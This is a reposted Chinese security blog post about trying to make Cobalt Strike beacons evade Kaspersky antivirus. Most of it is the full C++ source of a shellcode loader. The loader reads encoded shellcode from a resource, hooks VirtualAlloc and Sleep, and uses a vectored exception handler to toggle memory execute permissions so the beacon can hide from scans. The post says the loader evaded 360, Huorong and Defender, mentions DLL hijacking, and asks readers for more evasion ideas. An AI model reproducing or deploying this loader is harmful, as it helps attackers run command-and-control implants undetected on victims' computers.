记一次不太成功的卡巴斯基免杀

admin 2023年12月6日18:04:01评论215 views字数 5046阅读16分49秒阅读模式
声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

前言

卡巴斯基是一个全球知名的杀毒软件,之前没有对卡巴斯基免杀做过尝试,一个原因是因为国内使用卡巴斯基的用户没有那么多,另一个就是听说卡巴斯基杀软特别难绕过。这一次就是针对卡巴斯基尝试一系列免杀,分享一些失败和不算太成功的经验,希望对大家有用,也希望各位师傅可以针对免杀卡巴斯基提一些建议和思路。

免杀尝试过程

首先尝试了之前写的loader,包括aes算法、栅栏密码,可以过卡巴斯基静态查杀,但是上线几秒钟后,卡巴斯基行为检测查杀了这些马,如下

记一次不太成功的卡巴斯基免杀

cs的profile文件配置如下,使用的是catcs4.5版本,设置了sleep_mask,用于启用内存混淆,使 Beacon 在每次 sleep 之前都混淆自己所在的内存区域,并在 sleep 结束后解混淆。记一次不太成功的卡巴斯基免杀

尝试了cs的不同版本cat4.5、cs4.7、cs4.9,均无法躲避卡巴的行为检测,之后又尝试了VEH异常和inline hook动态修改内存属性,代码如下

// 全局变量声明LPVOID Beacon_address; // Beacon内存地址SIZE_T Beacon_data_len; // Beacon内存长度DWORD Beacon_Memory_address_flOldProtect; // Beacon内存属性HANDLE hEvent; // 事件句柄
BOOL Vir_FLAG = TRUE; // 感染标记LPVOID shellcode_addr; // shellcode内存地址
// 原始函数指针声明using VirtualAllocFunc = LPVOID(WINAPI*)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);using SleepFunc = VOID(WINAPI*)(DWORD dwMilliseconds);
// 指向原始函数的指针VirtualAllocFunc OriginalVirtualAlloc = VirtualAlloc;SleepFunc OriginalSleep = Sleep;
// Hooked VirtualAllocLPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { LPVOID allocatedMemory = OriginalVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); if (allocatedMemory) { Beacon_data_len = dwSize; Beacon_address = allocatedMemory; printf("Memory Allocation Size: %lldn", Beacon_data_len); printf("Memory Allocation Address: %pn", Beacon_address); } return allocatedMemory;}
// Hooked Sleepvoid WINAPI NewSleep(DWORD dwMilliseconds) { if (Vir_FLAG) { printf("Free Memory Address: %pn", shellcode_addr); VirtualFree(shellcode_addr, 0, MEM_RELEASE); Vir_FLAG = false; } printf("The time of Sleep: %dn", dwMilliseconds); SetEvent(hEvent);}
// 判断异常代码的地址是否在Beacon内存的范围之内BOOL is_Exception(DWORD64 Exception_addr) { if (Exception_addr >= (DWORD64)Beacon_address && Exception_addr < (DWORD64)Beacon_address + Beacon_data_len) { printf("The Exception Address is a match: %llxn", Exception_addr); return true; } printf("The Exception Address not a match: %llxn", Exception_addr); return false;}
// 定义VEH的异常处理函数LONG NTAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExcepInfo) { printf("VectoredExceptionHandlern"); printf("The Exception Code is :%xn", pExcepInfo->ExceptionRecord->ExceptionCode); printf("The Thread Address is :%llxn", pExcepInfo->ContextRecord->Rip); if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) { printf("Modify the memory attribute to executablen"); VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH;}
// 线程函数,用于将Beacon的内存属性设置为可读写,即去掉可执行权限DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) { while (true) { WaitForSingleObject(hEvent, INFINITE); printf("Set Beacon memory attribute unexecutablen"); VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect); ResetEvent(hEvent); } return 0;}
// 将十六进制中的单个字符转换为相应的整数值unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0;}bool doesFileExist(const string& fileName) { ifstream file(fileName); return file.good();}
// 将十六进制字符串转换成字节型数组void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); }}
int main() { if (!doesFileExist("1.txt")) { cout <<"1.txt文件不存在,程序退出" << endl; return 1; // 返回非零值表示程序异常退出 } hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // 创建事件(一开始无信号)
AddVectoredExceptionHandler(1, &VectoredExceptionHandler); // 添加异常处理函数
// 创建线程 HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL); CloseHandle(hThread1);
// 从资源加载shellcode HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_TEXT1), RT_RCDATA); if (hResource != NULL) { HGLOBAL hGlobal = LoadResource(NULL, hResource); if (hGlobal != NULL) { const char* resourceData = (const char*)LockResource(hGlobal); DWORD resourceSize = SizeofResource(NULL, hResource);
if (resourceData != NULL && resourceSize > 0) { // 将资源内容转换为字符串 string contents(resourceData, resourceData + resourceSize);
size_t size = contents.length() / 2; // 由于两个十六进制相当于一个字节,文件内容长度需除以2
// 为shellcode申请一块内存 shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
// 调用函数将十六进制字符串转换为字节型数组 hexStringToBytes(contents, (unsigned char*)shellcode_addr, size);
// 修改内存属性为可读写 VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
// 执行shellcode (*(int(*)())shellcode_addr)(); } } }
return 0;}

测试可以在360核晶、火绒、defender环境上线,但还是被卡巴的行为检测识别并查杀

记一次不太成功的卡巴斯基免杀

cs虽然上线了,但其实已经被干掉了,如下

记一次不太成功的卡巴斯基免杀

最后又尝试了dll劫持上线,发现可以上线cs并没有被行为检测拦截如下

记一次不太成功的卡巴斯基免杀

记一次不太成功的卡巴斯基免杀

但是这只是短暂的免杀了,等到卡巴下一次内存扫描时依然会被干掉,如下,进行关键区域扫描

记一次不太成功的卡巴斯基免杀

记一次不太成功的卡巴斯基免杀

可以看到,扫描到了内存中的shellcode,还有明显cs的特征提示。到此gg!

总结

  • 1、本次实验尝试使用了多种加密处理后的shellcode loader、VEH异常处理+inline hook 的shellcode loader、dll劫持上线,只有dll劫持可以绕过卡巴斯基的行为检测短时间内上线cs执行命令,等到卡巴下一次内存扫描会被识别到。

  • 2、cs自带的sleep_mask属性已无法绕过卡巴斯基内存扫描。

  • 3、希望各位师傅可以指点指点,提供一些免杀卡巴斯基的思路。


学习交流群

最近很多师傅问有没有群的,所以就搞了个群让大家交流技术吧,需要交流的师傅们可以加一下

记一次不太成功的卡巴斯基免杀


点击下方名片进入公众号,欢迎关注!


往期推荐

Nuclei Fuzzer 实战指南:自动化 Web 应用安全测试的优化与实践

栅栏之下的策略:免杀马中的密码艺术

技术幻影-揭开fscan免杀的面纱

红蓝对抗篇-记一次SQL注入上线CS

certutil之巧:绕过防御的艺术

峰回路转之mimikatz通杀杀软

PowerShell无文件落地绕过杀软上线CS

绕过360核晶防护创建用户+计划任务



原文始发于微信公众号(随风安全):记一次不太成功的卡巴斯基免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月6日18:04:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次不太成功的卡巴斯基免杀https://cn-sec.com/archives/2272982.html

发表评论

匿名网友 填写信息